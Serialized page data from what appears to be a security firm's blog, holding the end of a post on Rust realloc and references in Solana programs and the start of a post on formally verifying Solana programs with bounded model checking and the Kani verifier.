slice",{"type":21,"tag":153,"props":20832,"children":20833},{"style":198},[20834],{"type":26,"value":255},{"type":21,"tag":153,"props":20836,"children":20837},{"style":170},[20838],{"type":26,"value":16510},{"type":21,"tag":153,"props":20840,"children":20841},{"style":198},[20842],{"type":26,"value":355},{"type":21,"tag":153,"props":20844,"children":20845},{"style":181},[20846],{"type":26,"value":3541},{"type":21,"tag":153,"props":20848,"children":20849},{"style":160},[20850],{"type":26,"value":365},{"type":21,"tag":153,"props":20852,"children":20853},{"style":198},[20854],{"type":26,"value":2022},{"type":21,"tag":153,"props":20856,"children":20857},{"style":160},[20858],{"type":26,"value":1759},{"type":21,"tag":153,"props":20860,"children":20861},{"class":155,"line":166},[20862],{"type":21,"tag":153,"props":20863,"children":20864},{"emptyLinePlaceholder":16},[20865],{"type":26,"value":759},{"type":21,"tag":153,"props":20867,"children":20868},{"class":155,"line":225},[20869],{"type":21,"tag":153,"props":20870,"children":20871},{"style":3050},[20872],{"type":26,"value":17108},{"type":21,"tag":153,"props":20874,"children":20875},{"class":155,"line":239},[20876,20880,20884,20888,20892,20896,20900,20904,20908,20912,20916,20920,20924,20928,20932,20937,20941,20945,20949,20953],{"type":21,"tag":153,"props":20877,"children":20878},{"style":170},[20879],{"type":26,"value":1555},{"type":21,"tag":153,"props":20881,"children":20882},{"style":192},[20883],{"type":26,"value":250},{"type":21,"tag":153,"props":20885,"children":20886},{"style":198},[20887],{"type":26,"value":255},{"type":21,"tag":153,"props":20889,"children":20890},{"style":170},[20891],{"type":26,"value":17295},{"type":21,"tag":153,"props":20893,"children":20894},{"style":160},[20895],{"type":26,"value":12308},{"type":21,"tag":153,"props":20897,"children":20898},{"style":192},[20899],{"type":26,"value":18013},{"type":21,"tag":153,"props":20901,"children":20902},{"style":198},[20903],{"type":26,"value":355},{"type":21,"tag":153,"props":20905,"children":20906},{"style":181},[20907],{"type":26,"value":16597},{"type":21,"tag":153,"props":20909,"children":20910},{"style":160},[20911],{"type":26,"value":365},{"type":21,"tag":153,"props":20913,"children":20914},{"style":198},[20915],{"type":26,"value":355},{"type":21,"tag":153,"props":20917,"children":20918},{"style":181},[20919],{"type":26,"value":16610},{"type":21,"tag":153,"props":20921,"children":20922},{"style":160},[20923],{"type":26,"value":189},{"type":21,"tag":153,"props":20925,"children":20926},{"style":198},[20927],{"type":26,"value":3873},{"type":21,"tag":153,"props":20929,"children":20930},{"style":300},[20931],{"type":26,"value":303},{"type":21,"tag":153,"props":20933,"children":20934},{"style":160},[20935],{"type":26,"value":20936},") } ",{"type":21,"tag":153,"props":20938,"children":20939},{"style":170},[20940],{"type":26,"value":11567},{"type":21,"tag":153,"props":20942,"children":20943},{"style":198},[20944],{"type":26,"value":5080},{"type":21,"tag":153,"props":20946,"children":20947},{"style":170},[20948],{"type":26,"value":318},{"type":21,"tag":153,"props":20950,"children":20951},{"style":214},[20952],{"type":26,"value":323},{"type":21,"tag":153,"props":20954,"children":20955},{"style":160},[20956],{"type":26,"value":1759},{"type":21,"tag":153,"props":20958,"children":20959},{"class":155,"line":382},[20960,20964,20968,20972,20976,20980,20984,20988,20992],{"type":21,"tag":153,"props":20961,"children":20962},{"style":170},[20963],{"type":26,"value":17061},{"type":21,"tag":153,"props":20965,"children":20966},{"style":160},[20967],{"type":26,"value":12308},{"type":21,"tag":153,"props":20969,"children":20970},{"style":198},[20971],{"type":26,"value":313},{"type":21,"tag":153,"props":20973,"children":20974},{"style":192},[20975],{"type":26,"value":16658},{"type":21,"tag":153,"props":20977,"children":20978},{"style":198},[20979],{"type":26,"value":255},{"type":21,"tag":153,"props":20981,"children":20982},{"style":192},[20983],{"type":26,"value":16667},{"type":21,"tag":153,"props":20985,"children":20986},{"style":170},[20987],{"type":26,"value":11553},{"type":21,"tag":153,"props":20989,"children":20990},{"style":214},[20991],{"type":26,"value":323},{"type":21,"tag":153,"props":20993,"children":20994},{"style":160},[20995],{"type":26,"value":20996}," };\n",{"type":21,"tag":153,"props":20998,"children":20999},{"class":155,"line":501},[21000],{"type":21,"tag":153,"props":21001,"children":21002},{"emptyLinePlaceholder":16},[21003],{"type":26,"value":759},{"type":21,"tag":153,"props":21005,"children":21006},{"class":155,"line":533},[21007],{"type":21,"tag":153,"props":21008,"children":21009},{"style":3050},[21010],{"type":26,"value":18837},{"type":21,"tag":153,"props":21012,"children":21013},{"class":155,"line":542},[21014,21018,21022,21026,21030,21035,21039,21043,21047,21052,21056,21060,21064,21068,21073,21077],{"type":21,"tag":153,"props":21015,"children":21016},{"style":198},[21017],{"type":26,"value":313},{"type":21,"tag":153,"props":21019,"children":21020},{"style":192},[21021],{"type":26,"value":18013},{"type":21,"tag":153,"props":21023,"children":21024},{"style":198},[21025],{"type":26,"value":255},{"type":21,"tag":153,"props":21027,"children":21028},{"style":170},[21029],{"type":26,"value":17295},{"type":21,"tag":153,"props":21031,"children":21032},{"style":160},[21033],{"type":26,"value":21034}," { std",{"type":21,"tag":153,"props":21036,"children":21037},{"style":198},[21038],{"type":26,"value":265},{"type":21,"tag":153,"props":21040,"children":21041},{"style":160},[21042],{"type":26,"value":18013},{"type":21,"tag":153,"props":21044,"children":21045},{"style":198},[21046],{"type":26,"value":265},{"type":21,"tag":153,"props":21048,"children":21049},{"style":181},[21050],{"type":26,"value":21051},"from_raw_parts_mut",{"type":21,"tag":153,"props":21053,"children":21054},{"style":160},[21055],{"type":26,"value":189},{"type":21,"tag":153,"props":21057,"children":21058},{"style":192},[21059],{"type":26,"value":18013},{"type":21,"tag":153,"props":21061,"children":21062},{"style":198},[21063],{"type":26,"value":355},{"type":21,"tag":153,"props":21065,"children":21066},{"style":181},[21067],{"type":26,"value":16597},{"type":21,"tag":153,"props":21069,"children":21070},{"style":160},[21071],{"type":26,"value":21072},"(), ",{"type":21,"tag":153,"props":21074,"children":21075},{"style":192},[21076],{"type":26,"value":16436},{"type":21,"tag":153,"props":21078,"children":21079},{"style":160},[21080],{"type":26,"value":17448},{"type":21,"tag":22,"props":21082,"children":21083},{},[21084,21086,21091,21093,21098,21100,21105,21107],{"type":26,"value":21085},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":21,"tag":78,"props":21087,"children":21089},{"className":21088},[],[21090],{"type":26,"value":445},{"type":26,"value":21092}," and not a ",{"type":21,"tag":78,"props":21094,"children":21096},{"className":21095},[],[21097],{"type":26,"value":19299},{"type":26,"value":21099}," for the size field, given that ",{"type":21,"tag":78,"props":21101,"children":21103},{"className":21102},[],[21104],{"type":26,"value":19299},{"type":26,"value":21106}," is architecture-dependent), and no dependency on slice reference internals!",{"type":21,"tag":18171,"props":21108,"children":21109},{},[21110],{"type":21,"tag":29,"props":21111,"children":21115},{"href":21112,"ariaDescribedBy":21113,"dataFootnoteRef":7,"id":21114},"#user-content-fn-slice-unbound-lifetime",[18178],"user-content-fnref-slice-unbound-lifetime",[21116],{"type":26,"value":21117},"6",{"type":21,"tag":21119,"props":21120,"children":21123},"section",{"className":21121,"dataFootnotes":7},[21122],"footnotes",[21124,21131],{"type":21,"tag":66,"props":21125,"children":21128},{"className":21126,"id":18178},[21127],"sr-only",[21129],{"type":26,"value":21130},"Footnotes",{"type":21,"tag":126,"props":21132,"children":21133},{},[21134,21239,21257,21312,21325,21353],{"type":21,"tag":91,"props":21135,"children":21137},{"id":21136},"user-content-fn-rc-refs",[21138,21140,21146,21148,21153,21155,21159,21161,21165,21167,21172,21174,21180,21182,21187,21189,21199,21201,21206,21208,21213,21215,21220,21222,21228,21230],{"type":26,"value":21139},"I find it helpful to view owning an ",{"type":21,"tag":78,"props":21141,"children":21143},{"className":21142},[],[21144],{"type":26,"value":21145},"Rc\u003CT>",{"type":26,"value":21147}," as holding a shared reference to the underlying ",{"type":21,"tag":78,"props":21149,"children":21151},{"className":21150},[],[21152],{"type":26,"value":8717},{"type":26,"value":21154}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":21,"tag":5302,"props":21156,"children":21157},{},[21158],{"type":26,"value":19155},{"type":26,"value":21160}," ensures that the actual ",{"type":21,"tag":5302,"props":21162,"children":21163},{},[21164],{"type":26,"value":195},{"type":26,"value":21166}," stays alive, however all you have is a reference to the ",{"type":21,"tag":78,"props":21168,"children":21170},{"className":21169},[],[21171],{"type":26,"value":8717},{"type":26,"value":21173}," (through the ",{"type":21,"tag":78,"props":21175,"children":21177},{"className":21176},[],[21178],{"type":26,"value":21179},"Deref\u003CTarget = T>",{"type":26,"value":21181}," impl) - ",{"type":21,"tag":5302,"props":21183,"children":21184},{},[21185],{"type":26,"value":21186},"not",{"type":26,"value":21188}," ownership ",{"type":21,"tag":5302,"props":21190,"children":21191},{},[21192,21194],{"type":26,"value":21193},"of the ",{"type":21,"tag":78,"props":21195,"children":21197},{"className":21196},[],[21198],{"type":26,"value":8717},{"type":26,"value":21200},". In short, owning an ",{"type":21,"tag":78,"props":21202,"children":21204},{"className":21203},[],[21205],{"type":26,"value":21145},{"type":26,"value":21207}," is owning a (shared, read-only) reference to ",{"type":21,"tag":78,"props":21209,"children":21211},{"className":21210},[],[21212],{"type":26,"value":8717},{"type":26,"value":21214},", not owning ",{"type":21,"tag":78,"props":21216,"children":21218},{"className":21217},[],[21219],{"type":26,"value":8717},{"type":26,"value":21221}," directly like with ",{"type":21,"tag":78,"props":21223,"children":21225},{"className":21224},[],[21226],{"type":26,"value":21227},"Box\u003CT>",{"type":26,"value":21229},". ",{"type":21,"tag":29,"props":21231,"children":21236},{"href":21232,"ariaLabel":21233,"className":21234,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[21235],"data-footnote-backref",[21237],{"type":26,"value":21238},"↩",{"type":21,"tag":91,"props":21240,"children":21242},{"id":21241},"user-content-fn-sendsync",[21243,21249,21250],{"type":21,"tag":78,"props":21244,"children":21246},{"className":21245},[],[21247],{"type":26,"value":21248},"!Send + !Sync",{"type":26,"value":9187},{"type":21,"tag":29,"props":21251,"children":21255},{"href":21252,"ariaLabel":21253,"className":21254,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[21235],[21256],{"type":26,"value":21238},{"type":21,"tag":91,"props":21258,"children":21260},{"id":21259},"user-content-fn-layout",[21261,21263,21268,21269,21282,21284,21289,21291,21296,21298,21303,21305],{"type":26,"value":21262},"Note that this is a terrible idea for yet another reason: ",{"type":21,"tag":78,"props":21264,"children":21266},{"className":21265},[],[21267],{"type":26,"value":2907},{"type":26,"value":8232},{"type":21,"tag":29,"props":21270,"children":21273},{"href":21271,"rel":21272},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[33],[21274,21276],{"type":26,"value":21275},"not declared with ",{"type":21,"tag":78,"props":21277,"children":21279},{"className":21278},[],[21280],{"type":26,"value":21281},"#[repr(C)]",{"type":26,"value":21283},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":21,"tag":5302,"props":21285,"children":21286},{},[21287],{"type":26,"value":21288},"breaks the entire chain",{"type":26,"value":21290}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":21,"tag":5302,"props":21292,"children":21293},{},[21294],{"type":26,"value":21295},"some",{"type":26,"value":21297}," kind of interface to the specific layout of the specific ",{"type":21,"tag":78,"props":21299,"children":21301},{"className":21300},[],[21302],{"type":26,"value":19207},{"type":26,"value":21304}," versions used to build on-chain code for all eternity... ",{"type":21,"tag":29,"props":21306,"children":21310},{"href":21307,"ariaLabel":21308,"className":21309,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[21235],[21311],{"type":26,"value":21238},{"type":21,"tag":91,"props":21313,"children":21315},{"id":21314},"user-content-fn-rustc-llvm",[21316,21318],{"type":26,"value":21317},"Actually, it's LLVM that does the optimization ",{"type":21,"tag":29,"props":21319,"children":21323},{"href":21320,"ariaLabel":21321,"className":21322,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[21235],[21324],{"type":26,"value":21238},{"type":21,"tag":91,"props":21326,"children":21328},{"id":21327},"user-content-fn-godbolt",[21329,21336,21338,21344,21346],{"type":21,"tag":29,"props":21330,"children":21333},{"href":21331,"rel":21332},"https://godbolt.org/z/PK46xMbxc",[33],[21334],{"type":26,"value":21335},"Click here",{"type":26,"value":21337}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":21,"tag":78,"props":21339,"children":21341},{"className":21340},[],[21342],{"type":26,"value":21343},"libcore",{"type":26,"value":21345}," available for other architectures yet. ",{"type":21,"tag":29,"props":21347,"children":21351},{"href":21348,"ariaLabel":21349,"className":21350,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[21235],[21352],{"type":26,"value":21238},{"type":21,"tag":91,"props":21354,"children":21356},{"id":21355},"user-content-fn-slice-unbound-lifetime",[21357,21359,21364,21366,21372,21374,21380,21382,21388,21390,21396,21398,21404,21406,21411,21413],{"type":26,"value":21358},"The astute reader may have noticed that ",{"type":21,"tag":78,"props":21360,"children":21362},{"className":21361},[],[21363],{"type":26,"value":21051},{"type":26,"value":21365}," still returns an unbounded lifetime (notice in the signature ",{"type":21,"tag":78,"props":21367,"children":21369},{"className":21368},[],[21370],{"type":26,"value":21371},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":26,"value":21373},", the lifetime parameter ",{"type":21,"tag":78,"props":21375,"children":21377},{"className":21376},[],[21378],{"type":26,"value":21379},"'a",{"type":26,"value":21381}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":21,"tag":78,"props":21383,"children":21385},{"className":21384},[],[21386],{"type":26,"value":21387},"*slice",{"type":26,"value":21389},", which is ",{"type":21,"tag":78,"props":21391,"children":21393},{"className":21392},[],[21394],{"type":26,"value":21395},"&'info [u8]",{"type":26,"value":21397}," (where ",{"type":21,"tag":78,"props":21399,"children":21401},{"className":21400},[],[21402],{"type":26,"value":21403},"'info",{"type":26,"value":21405}," is the lifetime parameter of the ",{"type":21,"tag":78,"props":21407,"children":21409},{"className":21408},[],[21410],{"type":26,"value":2907},{"type":26,"value":21412}," struct) - this is exactly the lifetime we started with. ",{"type":21,"tag":29,"props":21414,"children":21418},{"href":21415,"ariaLabel":21416,"className":21417,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[21235],[21419],{"type":26,"value":21238},{"type":21,"tag":5603,"props":21421,"children":21422},{},[21423],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":21425},[21426,21432,21436,21437,21439],{"id":17073,"depth":166,"text":21427,"children":21428},"Breaking down realloc",[21429,21430],{"id":17239,"depth":225,"text":17242},{"id":18589,"depth":225,"text":21431},"Back to realloc",{"id":19541,"depth":166,"text":19544,"children":21433},[21434,21435],{"id":19547,"depth":225,"text":19550},{"id":19769,"depth":225,"text":19772},{"id":19955,"depth":166,"text":19958},{"id":20355,"depth":166,"text":21438},"Towards safer unsafe",{"id":18178,"depth":166,"text":21130},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":21444,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":21445,"description":21446,"author":21447,"image":21448,"date":21450,"isFeatured":16,"onBlogPage":16,"tags":21451,"body":21452,"_type":5619,"_id":31694,"_source":5621,"_file":31695,"_stem":31696,"_extension":5624},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":21449,"height":16339,"width":16340},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[5636,5637],{"type":18,"children":21453,"toc":31666},[21454,21459,21464,21490,21494,21506,21529,21552,21564,21587,21590,21597,21646,21652,21656,21661,21672,21713,21718,21724,21729,21962,21982,21987,21992,22065,22070,22140,22154,22578,22598,22604,22623,22628,22633,22638,22644,22656,22691,22702,22713,22725,22730,22762,22786,22805,22811,22828,22834,22861,22866,22886,22898,23041,23069,23072,23084,23167,23186,23189,23228,23395,23400,23406,23418,23437,23450,23610,23622,23635,24108,24113,24160,24166,24184,24253,24491,24705,24710,24784,24832,24837,24843,24945,25049,25054,25117,25122,25128,25193,25198,25240,25266,25272,25341,25346,25396,25407,25413,25424,25445,25450,25455,25478,25484,25496,25516,26625,26644,26695,26700,26708,26720,26725,26733,26738,26754,26790,26795,26889,26894,26902,26907,27019,27024,27032,27045,27209,27214,27222,27227,27232,27300,27334,27340,27345,27356,27374,27752,27764,27776,27784,27795,27826,27831,27839,27844,28116,28135,28140,28166,29033,29045,29144,29156,29198,29203,29215,29223,29228,29240,29266,29426,29438,29446,29451,29727,29732,29744,29899,29919,30243,30277,30471,30504,30516,30638,30658,30663,30668,30673,30686,30694,30699,31174,31186,31191,31203,31208,31467,31493,31498,31504,31510,31522,31534,31553,31600,31605,31611,31616,31621,31626,31630,31635,31640,31643,31662],{"type":21,"tag":22,"props":21455,"children":21456},{},[21457],{"type":26,"value":21458},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":21,"tag":22,"props":21460,"children":21461},{},[21462],{"type":26,"value":21463},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":21,"tag":22,"props":21465,"children":21466},{},[21467,21469,21473,21475,21480,21482,21489],{"type":26,"value":21468},"In the world of Web3 we create programs that talk to strangers ",{"type":21,"tag":5302,"props":21470,"children":21471},{},[21472],{"type":26,"value":19069},{"type":26,"value":21474}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":21,"tag":5302,"props":21476,"children":21477},{},[21478],{"type":26,"value":21479},"juciest",{"type":26,"value":21481},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":21,"tag":29,"props":21483,"children":21486},{"href":21484,"rel":21485},"https://rekt.news/leaderboard/",[33],[21487],{"type":26,"value":21488},"hundreds of millions of dollars",{"type":26,"value":355},{"type":21,"tag":21491,"props":21492,"children":21493},"hr",{},[],{"type":21,"tag":22,"props":21495,"children":21496},{},[21497,21499,21504],{"type":26,"value":21498},"At OtterSec we are ",{"type":21,"tag":5302,"props":21500,"children":21501},{},[21502],{"type":26,"value":21503},"highly skilled in pest control",{"type":26,"value":21505}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":21,"tag":22,"props":21507,"children":21508},{},[21509,21511,21518,21520,21527],{"type":26,"value":21510},"Recently we were contacted by the ",{"type":21,"tag":29,"props":21512,"children":21515},{"href":21513,"rel":21514},"https://squads.so/",[33],[21516],{"type":26,"value":21517},"Squads team",{"type":26,"value":21519}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":21,"tag":29,"props":21521,"children":21524},{"href":21522,"rel":21523},"https://github.com/Squads-Protocol/squads-mpl",[33],[21525],{"type":26,"value":21526},"Squads Multisig Program",{"type":26,"value":21528}," as our main case study.",{"type":21,"tag":22,"props":21530,"children":21531},{},[21532,21534,21541,21543,21550],{"type":26,"value":21533},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":21,"tag":29,"props":21535,"children":21538},{"href":21536,"rel":21537},"https://www.anchor-lang.com/",[33],[21539],{"type":26,"value":21540},"anchor-lang",{"type":26,"value":21542}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":21,"tag":29,"props":21544,"children":21547},{"href":21545,"rel":21546},"https://github.com/model-checking/kani",[33],[21548],{"type":26,"value":21549},"Kani Rust Verifier",{"type":26,"value":21551},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":21,"tag":22,"props":21553,"children":21554},{},[21555,21557,21562],{"type":26,"value":21556},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":21,"tag":5302,"props":21558,"children":21559},{},[21560],{"type":26,"value":21561},"bounded model checking",{"type":26,"value":21563}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":21,"tag":22,"props":21565,"children":21566},{},[21567],{"type":21,"tag":5302,"props":21568,"children":21569},{},[21570,21572,21579,21581],{"type":26,"value":21571},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":21,"tag":29,"props":21573,"children":21576},{"href":21574,"rel":21575},"https://osec.io/contact",[33],[21577],{"type":26,"value":21578},"this form",{"type":26,"value":21580}," or email us at ",{"type":21,"tag":29,"props":21582,"children":21584},{"href":21583},"mailto:contact@osec.io",[21585],{"type":26,"value":21586},"contact@osec.io",{"type":21,"tag":21491,"props":21588,"children":21589},{},[],{"type":21,"tag":21591,"props":21592,"children":21594},"h4",{"id":21593},"contents",[21595],{"type":26,"value":21596},"Contents:",{"type":21,"tag":126,"props":21598,"children":21599},{},[21600,21605,21622,21632,21637,21642],{"type":21,"tag":91,"props":21601,"children":21602},{},[21603],{"type":26,"value":21604},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":21,"tag":91,"props":21606,"children":21607},{},[21608,21613,21615,21620],{"type":21,"tag":8055,"props":21609,"children":21610},{},[21611],{"type":26,"value":21612},"Specification",{"type":26,"value":21614},": How can we describe what we ",{"type":21,"tag":5302,"props":21616,"children":21617},{},[21618],{"type":26,"value":21619},"want",{"type":26,"value":21621}," our program to do?",{"type":21,"tag":91,"props":21623,"children":21624},{},[21625,21630],{"type":21,"tag":8055,"props":21626,"children":21627},{},[21628],{"type":26,"value":21629},"Verification",{"type":26,"value":21631},": How do we check that our model is correct?",{"type":21,"tag":91,"props":21633,"children":21634},{},[21635],{"type":26,"value":21636},"Case Study: Squads Multisig",{"type":21,"tag":91,"props":21638,"children":21639},{},[21640],{"type":26,"value":21641},"Additional challenges in Solana",{"type":21,"tag":91,"props":21643,"children":21644},{},[21645],{"type":26,"value":5571},{"type":21,"tag":66,"props":21647,"children":21649},{"id":21648},"formal-verification-with-bounded-model-checking",[21650],{"type":26,"value":21651},"Formal Verification with Bounded Model Checking",{"type":21,"tag":114,"props":21653,"children":21654},{"id":68},[21655],{"type":26,"value":71},{"type":21,"tag":22,"props":21657,"children":21658},{},[21659],{"type":26,"value":21660},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":21,"tag":22,"props":21662,"children":21663},{},[21664,21666,21671],{"type":26,"value":21665},"There are many different flavors of formal verification, however in this research we are using ",{"type":21,"tag":8055,"props":21667,"children":21668},{},[21669],{"type":26,"value":21670},"bounded model checking (BMC)",{"type":26,"value":355},{"type":21,"tag":22,"props":21673,"children":21674},{},[21675,21677,21682,21684,21689,21691,21695,21697,21703,21705,21711],{"type":26,"value":21676},"In short, the idea of BMC is to execute our program ",{"type":21,"tag":5302,"props":21678,"children":21679},{},[21680],{"type":26,"value":21681},"symbolically",{"type":26,"value":21683}," rather than ",{"type":21,"tag":5302,"props":21685,"children":21686},{},[21687],{"type":26,"value":21688},"concretely",{"type":26,"value":21690},". Instead of actually performing an ",{"type":21,"tag":5302,"props":21692,"children":21693},{},[21694],{"type":26,"value":12360},{"type":26,"value":21696}," when we see the line ",{"type":21,"tag":78,"props":21698,"children":21700},{"className":21699},[],[21701],{"type":26,"value":21702},"int x = a + b",{"type":26,"value":21704},", we store the symbolic expression ",{"type":21,"tag":78,"props":21706,"children":21708},{"className":21707},[],[21709],{"type":26,"value":21710},"x == a + b",{"type":26,"value":21712},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":21,"tag":22,"props":21714,"children":21715},{},[21716],{"type":26,"value":21717},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":21,"tag":114,"props":21719,"children":21721},{"id":21720},"a-simple-example",[21722],{"type":26,"value":21723},"A simple example",{"type":21,"tag":22,"props":21725,"children":21726},{},[21727],{"type":26,"value":21728},"As an example, consider the following function:",{"type":21,"tag":143,"props":21730,"children":21732},{"code":21731,"language":5896,"meta":7,"className":19212,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[21733],{"type":21,"tag":78,"props":21734,"children":21735},{"__ignoreMap":7},[21736,21766,21800,21812,21837,21865,21880,21907,21914,21921,21929,21955],{"type":21,"tag":153,"props":21737,"children":21738},{"class":155,"line":156},[21739,21744,21749,21753,21757,21762],{"type":21,"tag":153,"props":21740,"children":21741},{"style":170},[21742],{"type":26,"value":21743},"int",{"type":21,"tag":153,"props":21745,"children":21746},{"style":181},[21747],{"type":26,"value":21748}," foo",{"type":21,"tag":153,"props":21750,"children":21751},{"style":160},[21752],{"type":26,"value":189},{"type":21,"tag":153,"props":21754,"children":21755},{"style":170},[21756],{"type":26,"value":21743},{"type":21,"tag":153,"props":21758,"children":21759},{"style":192},[21760],{"type":26,"value":21761}," x",{"type":21,"tag":153,"props":21763,"children":21764},{"style":160},[21765],{"type":26,"value":2659},{"type":21,"tag":153,"props":21767,"children":21768},{"class":155,"line":166},[21769,21774,21778,21782,21787,21791,21796],{"type":21,"tag":153,"props":21770,"children":21771},{"style":170},[21772],{"type":26,"value":21773},"    int",{"type":21,"tag":153,"props":21775,"children":21776},{"style":160},[21777],{"type":26,"value":7244},{"type":21,"tag":153,"props":21779,"children":21780},{"style":198},[21781],{"type":26,"value":2367},{"type":21,"tag":153,"props":21783,"children":21784},{"style":160},[21785],{"type":26,"value":21786}," x ",{"type":21,"tag":153,"props":21788,"children":21789},{"style":198},[21790],{"type":26,"value":4099},{"type":21,"tag":153,"props":21792,"children":21793},{"style":300},[21794],{"type":26,"value":21795}," 3",{"type":21,"tag":153,"props":21797,"children":21798},{"style":160},[21799],{"type":26,"value":1759},{"type":21,"tag":153,"props":21801,"children":21802},{"class":155,"line":225},[21803,21807],{"type":21,"tag":153,"props":21804,"children":21805},{"style":170},[21806],{"type":26,"value":21773},{"type":21,"tag":153,"props":21808,"children":21809},{"style":160},[21810],{"type":26,"value":21811}," z;\n",{"type":21,"tag":153,"props":21813,"children":21814},{"class":155,"line":239},[21815,21819,21824,21828,21833],{"type":21,"tag":153,"props":21816,"children":21817},{"style":1751},[21818],{"type":26,"value":2434},{"type":21,"tag":153,"props":21820,"children":21821},{"style":160},[21822],{"type":26,"value":21823}," (y ",{"type":21,"tag":153,"props":21825,"children":21826},{"style":198},[21827],{"type":26,"value":13182},{"type":21,"tag":153,"props":21829,"children":21830},{"style":300},[21831],{"type":26,"value":21832}," 100",{"type":21,"tag":153,"props":21834,"children":21835},{"style":160},[21836],{"type":26,"value":2659},{"type":21,"tag":153,"props":21838,"children":21839},{"class":155,"line":382},[21840,21845,21849,21853,21857,21861],{"type":21,"tag":153,"props":21841,"children":21842},{"style":160},[21843],{"type":26,"value":21844},"        z ",{"type":21,"tag":153,"props":21846,"children":21847},{"style":198},[21848],{"type":26,"value":2367},{"type":21,"tag":153,"props":21850,"children":21851},{"style":160},[21852],{"type":26,"value":7244},{"type":21,"tag":153,"props":21854,"children":21855},{"style":198},[21856],{"type":26,"value":313},{"type":21,"tag":153,"props":21858,"children":21859},{"style":300},[21860],{"type":26,"value":10661},{"type":21,"tag":153,"props":21862,"children":21863},{"style":160},[21864],{"type":26,"value":1759},{"type":21,"tag":153,"props":21866,"children":21867},{"class":155,"line":501},[21868,21872,21876],{"type":21,"tag":153,"props":21869,"children":21870},{"style":160},[21871],{"type":26,"value":18476},{"type":21,"tag":153,"props":21873,"children":21874},{"style":1751},[21875],{"type":26,"value":2717},{"type":21,"tag":153,"props":21877,"children":21878},{"style":160},[21879],{"type":26,"value":236},{"type":21,"tag":153,"props":21881,"children":21882},{"class":155,"line":533},[21883,21887,21891,21895,21899,21903],{"type":21,"tag":153,"props":21884,"children":21885},{"style":160},[21886],{"type":26,"value":21844},{"type":21,"tag":153,"props":21888,"children":21889},{"style":198},[21890],{"type":26,"value":2367},{"type":21,"tag":153,"props":21892,"children":21893},{"style":160},[21894],{"type":26,"value":7244},{"type":21,"tag":153,"props":21896,"children":21897},{"style":198},[21898],{"type":26,"value":4099},{"type":21,"tag":153,"props":21900,"children":21901},{"style":300},[21902],{"type":26,"value":7253},{"type":21,"tag":153,"props":21904,"children":21905},{"style":160},[21906],{"type":26,"value":1759},{"type":21,"tag":153,"props":21908,"children":21909},{"class":155,"line":542},[21910],{"type":21,"tag":153,"props":21911,"children":21912},{"style":160},[21913],{"type":26,"value":539},{"type":21,"tag":153,"props":21915,"children":21916},{"class":155,"line":762},[21917],{"type":21,"tag":153,"props":21918,"children":21919},{"emptyLinePlaceholder":16},[21920],{"type":26,"value":759},{"type":21,"tag":153,"props":21922,"children":21923},{"class":155,"line":776},[21924],{"type":21,"tag":153,"props":21925,"children":21926},{"style":3050},[21927],{"type":26,"value":21928},"    // Property 